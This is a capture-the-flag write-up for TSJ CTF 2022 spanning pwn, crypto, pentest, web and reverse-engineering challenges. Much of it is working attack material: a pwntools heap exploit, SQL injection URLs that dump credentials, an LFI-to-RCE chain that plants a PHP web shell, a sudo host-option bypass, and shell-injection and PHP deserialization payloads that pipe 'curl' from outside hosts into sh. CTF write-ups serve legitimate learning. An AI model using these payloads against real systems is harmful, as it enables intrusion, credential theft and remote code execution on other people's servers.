TSJ CTF 2022
pwn
BabyNote
#!/usr/bin/python2
from pwn import *
r = remote('34.81.158.137', 10102)
def create_note(n, l, c):
r.recvuntil('>')
r.sendline("1")
r.recvuntil('Your Name:')
r.send(n)
r.recvuntil('Note length:')
r.sendline(str(l))
r.recvuntil('Note:')
r.send(c)
def edit_note(i, n, c):
r.recvuntil('>')
r.sendline("3")
r.recvuntil('ID:')
r.sendline(str(i))
print r.recvuntil('Name:')
r.send(n)
print r.recvuntil(':')
r.send(c)
def delete_note(i):
r.recvuntil('>')
r.sendline("4")
r.recvuntil('ID:')
r.sendline(str(i))
def list_note():
r.recvuntil('>')
r.sendline("2")
create_note("n1", 1152, 'a')
create_note("n2", 1152, 'a')
delete_note(0)
create_note("n3", 1152, 'a')
list_note()
r.recvuntil('a')
a = r.recvline()
base = u64('a' + a[:-1] + '\0\0' )
print hex(base)
print a, repr(a)
create_note("o1", 32, 'o1')
create_note("o2", 32, 'o2')
p1 = '6161616161616161616161616161616161616161616161616161616161616161616161616161616131000000000000006e6e6e6e6e6e6e6e6e6e6e6e6e6e6e6e2000000000000000'.decode('hex')
# 614bcc44cb7f
# 287bcc44cb7f
# a005b644cb7f
j = '287bcc44cb7f0000'
p1 += p64(base + 12231)
edit_note(2, 'aaaaaaaaaaaaaaaa\xff', p1)
edit_note(3, 'o2', p64(base - 1459649 -205200))
create_note("ls", 64, 'bash')
list_note()
delete_note(4)
r.interactive()
crypto
Futago
- level 1: Two $N$s have a non trivial common divisor, which trivialized the factorization
- level 2: Two $N$s are the same, but the $e$s are different. Since two $e$s have gcd 3, we can get $m^3$ by extended Euclidean algorithm. Luckily, $m^3 < N$, allowing us to recover $m$ by taking a cubic root.
- level 3: Assume $N_1 = pq$ and $N_2 = (p+a)(q+b)$. Bruteforce $a$ and $b$ and solve a quadratic equation to factorize both $N$s.
BabyRSA
In this challenge, we are given a point on elliptic curve $$E:y^2 = x^3 + px + q \pmod N$$ where $N, p, q$ are parameters of an RSA encrypted flag. By the process of prime generation, $q$ is 512-bit while $p$ is a 1024-bit, and such asymmetry reminds us of coppersmith attack. Specifically, plug in the coordinates of the given elliptic curve point $(x_0, y_0)$, we have $$px_0 + q = y_0^2 - x_0^3 \pmod N.$$ Multiply by $q$ to eliminate the $p$, we get $$q^2 = (y_0^2 - x_0^3)q \pmod N.$$ Thus, we get a quadratic equation of $q$. Since $q << N^{\frac{1}{2}}$, we can use standard coppersmith method to solve for $q$, and further compromise the RSA.
Top Secret
Observing the output of LFSR, it's easy to see that if we transform the output to an element in $GF(2^{128})$, then the output keystream $ks_1, ks_2, \dots$ satisfies $$ks_i = ks_{i-1} \cdot x^{k}$$ where $k$ is the secret key. The challenge provides $ks_0$, and $ks_1$ is leaked by the observation that a png file has a fixed 16-byte header. Therefore, we can get $ks_2$ by calculating $$\frac{ks_1^2}{ks_0}$$ without knowing the value of $k$. Similarly, we can recover all output blocks of the keystream, and recover the plaintext.
Cipher Switching Service
The key observation is that given an Elgamal encryption $(c_1, c_2)$ of a message $m$, we can forge an Elgamal encryption of message $2m$ – it is just simply $(c_1, 2c_2)$. When we switching these two ciphertext back to RSA encryption we get $$(c_1, c_2) \to x, \quad (c_1, 2c_2) \to x'$$ One might assumes that $x' = 2^ex$. However, there's an exception when $2m \ge p$, where we get $x' = (2m-p)^e \pmod N$ instead of $(2m)^e$. Therefore, we get a MSB-ish oracle, and we can do a binary search to decrypt a Elgamal encrypted message. Out attack goes as follow:
- Using RSA-to-Elgamal, get an Elgamal encryption of the flag.
- Perform the binary search and recover the flag.
Rng++
Observations:
- All characters of the random string is digits, meaning that it all starts with a '3' in hex.
- $M$ is a power of 2.
We can recover the lowest bytes by setting $M = 256$ and bruteforce all possible states to find the one that matches (the fact that the random string is all digits). and then recover the second lowest bytes and so on. At the end, we recover the states of the RNG, and can predict its output, allowing us to recover the flag.
pentest
Nentau Police Office - 1
- SQL Injection
- dump schema:
/news.php?id=-1%20union%20select%201,2,group_concat(schema_name),4,5%20from%20information_schema.schemata
- dump user:
/news.php?id=-1%20union%20select%201,2,group_concat(concat(uid,0x20,username,0x20,password)),4,5%20from%20users
1 tsjadmin RRwZriRCF3CoYtbjkF3u
- dump schema:
- LFI
/adminmanager.php?op=././././users
- using pearcmd.php to RCE
/adminmanager.php?+config-create+/&op=../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=system($_GET[1]);?>+/var/tmp/a.php
/adminmanager.php?op=../../../../../../../../var/tmp/a&1=curl%20kaibro.tw|sh
- flag permission
flag1.txt
owner istsjadmin
www-data@nentaupoliceoffice:/$ cat flag1.txt cat flag1.txt cat: flag1.txt: Permission denied
- find
tsjadmin
's passwordcat /var/www/html/config.php
... $host = "database"; $dbname = "announcement"; $user = "tsjadmin"; $pass = "tsjadmin@nentaupoliceoffice"; $db = new PDO("mysql:host=$host;dbname=$dbname", $user, $pass); session_start(); ...
su tsjadmin
with password:tsjadmin@nentaupoliceoffice
cat /flag1.txt
TSJ{Just_an_simple_Penetration_Testing_challenge}
Nentau Police Office - 2
flag2.txt
permission-r-------- 1 root root 33 Feb 18 07:56 flag2.txt
- sudoer file
/etc/sudoers.d/sudoers-tsj
tsjadmin workstation=(ALL:ALL) /bin/cat tsjadmin nentaupoliceoffice=(ALL:ALL) /bin/ls
- use sudo
-h
option to bypass host limitsudo -h workstation /bin/cat /flag*
TSJ{What_use_of_the_-h_option???}
web
Nimja at Nantou
Use #
to bypass the appended hello
POST /hello-from-the-world/get_hello?host=http://localhost/%23 HTTP/1.1
Host: xxx
Connection: close
Content-Length: 0
Then get the key T$J_CTF_15_FUN_>_<_bY_Th3_wAy_IT_is_tHE_KEEEEEEEY_n0t_THE_flag
Use double slash to bypass proxy's limit, and use {"service":["xxx"]}
to bypass sanitizeShellString
.
POST /service-info//admin HTTP/1.1
Host: xxx
Connection: close
Content-Length: 114
{"service":["|`curl kaibro.tw/yy|sh`|"],"key": "T$J_CTF_15_FUN_>_<_bY_Th3_wAy_IT_is_tHE_KEEEEEEEY_n0t_THE_flag"}
TSJ{HR5_1S_C001_XD_L3ts_gooooo}
Avatar
<?php
namespace Envms\FluentPDO{
class Structure{
public $primaryKey;
function __construct(){
$this->primaryKey = 'system';
}
}
class Query{
public $pdo;
public $structure;
function __construct($struct){
$this->pdo = null;
$this->structure = $struct;
}
}
class Regex{
}
}
namespace Envms\FluentPDO\Queries{
class Select{
public $fluent;
public $clauses;
public $statements;
public $regex;
function __construct($query, $clauses, $statements, $regex){
$this->fluent = $query;
$this->clauses = $clauses;
$this->statements = $statements;
$this->regex = $regex;
}
}
}
namespace {
$regex = new Envms\FluentPDO\Regex();
$struct = new Envms\FluentPDO\Structure();
$query = new Envms\FluentPDO\Query($struct);
$c_clauses = [];
$c_statements = ['SELECT'=>['x:x'], 'FROM'=>'curl 3419192343|sh'];
$common= new Envms\FluentPDO\Queries\Select($query, $c_clauses, $c_statements, $regex);
$n_clauses = ['x' => [$common, 'getQuery']];
$n_statements = ['x' => True];
$name= new Envms\FluentPDO\Queries\Select(null, $n_clauses, $n_statements, null);
$name= unserialize(serialize($name));
echo 'url=http://ginoah.tw:8080/a.b%250d%250aSET%2520PHPREDIS_SESSION:7ae84e5c2a2be644c1fdf1b1eeb7d0df%2520%2527username|'.urlencode(urlencode(serialize($name)))."%2527%250d%250aHost:%2520xx\n";
die();
}
?>
POST /update.php?mode=url HTTP/1.1
Host: 34.81.158.137:5566
Content-Length: 1386
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=7ae84e5c2a2be644c1fdf1b1eeb7d0df
Connection: close
url=http://ginoah.tw:8080/a.b%250d%250aSET%2520PHPREDIS_SESSION:7ae84e5c2a2be644c1fdf1b1eeb7d0df%2520%2527username|O%253A30%253A%2522Envms%255CFluentPDO%255CQueries%255CSelect%2522%253A4%253A%257Bs%253A6%253A%2522fluent%2522%253BN%253Bs%253A7%253A%2522clauses%2522%253Ba%253A1%253A%257Bs%253A1%253A%2522x%2522%253Ba%253A2%253A%257Bi%253A0%253BO%253A30%253A%2522Envms%255CFluentPDO%255CQueries%255CSelect%2522%253A4%253A%257Bs%253A6%253A%2522fluent%2522%253BO%253A21%253A%2522Envms%255CFluentPDO%255CQuery%2522%253A2%253A%257Bs%253A3%253A%2522pdo%2522%253BN%253Bs%253A9%253A%2522structure%2522%253BO%253A25%253A%2522Envms%255CFluentPDO%255CStructure%2522%253A1%253A%257Bs%253A10%253A%2522primaryKey%2522%253Bs%253A6%253A%2522system%2522%253B%257D%257Ds%253A7%253A%2522clauses%2522%253Ba%253A0%253A%257B%257Ds%253A10%253A%2522statements%2522%253Ba%253A2%253A%257Bs%253A6%253A%2522SELECT%2522%253Ba%253A1%253A%257Bi%253A0%253Bs%253A3%253A%2522x%253Ax%2522%253B%257Ds%253A4%253A%2522FROM%2522%253Bs%253A18%253A%2522curl%2B3419192343%257Csh%2522%253B%257Ds%253A5%253A%2522regex%2522%253BO%253A21%253A%2522Envms%255CFluentPDO%255CRegex%2522%253A0%253A%257B%257D%257Di%253A1%253Bs%253A8%253A%2522getQuery%2522%253B%257D%257Ds%253A10%253A%2522statements%2522%253Ba%253A1%253A%257Bs%253A1%253A%2522x%2522%253Bb%253A1%253B%257Ds%253A5%253A%2522regex%2522%253BN%253B%257D%2527%250d%250aHost:%2520xx
Location: http://redis:6379/
rev
javascript_vm
- test
127 127
148 148
212 178
242 182
247 182
175 169
152 148
186 187
158 156
215 146
133 130
179 133
251 216
221 175
207 146
183 107
230 156
94 91
3 202
175 125
216 191
179 179
195 126
183 123
190 144
162 116
189 117
81 81
170 124
152 152
209 205
164 118
196 141
160 157
98 92
97 97
87 81
145 139
88 23
157 158
248 202
197 144
175 116
136 130
180 125
186 123
233 187
175 105
223 158
169 166
185 139
217 149
- test2
127 130
148 171
212 178
242 250
247 244
175 173
152 155
186 236
158 210
215 204
133 149
179 138
251 215
221 226
207 194
183 138
230 158
94 115
3 2
175 186
216 192
179 207
195 193
183 143
190 152
162 171
189 187
81 144
170 141
152 158
209 9
164 187
196 171
160 216
98 157
97 118
87 133
145 168
88 48
157 229
248 228
197 162
175 138
136 180
180 178
186 187
233 253
175 132
223 174
169 223
185 212
217 221
- sol.py
import string
f = open('test')
flag = []
a = []
b = []
for i in f.readlines():
c,d = i.split()
flag.append(int(c))
a.append(int(d))
print int(c),d
f = open('test2')
for i in f.readlines():
c,d = i.split()
b.append(int(d))
ans = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOP"
print len(ans)
index = []
out = ['0'] * 52
for i in range(51):
j = b[i] - a[i]
ii = (j+1) % 256
k = chr(ord('0') + ii)
print k
ii = ans.find(k)
enc = flag[i]
q = a[i]
t = enc - q
print ii
print chr((ord('1')+t)%256)
out[ii] = chr((ord('1')+t)%256)
print "".join(out)
print flag,a,b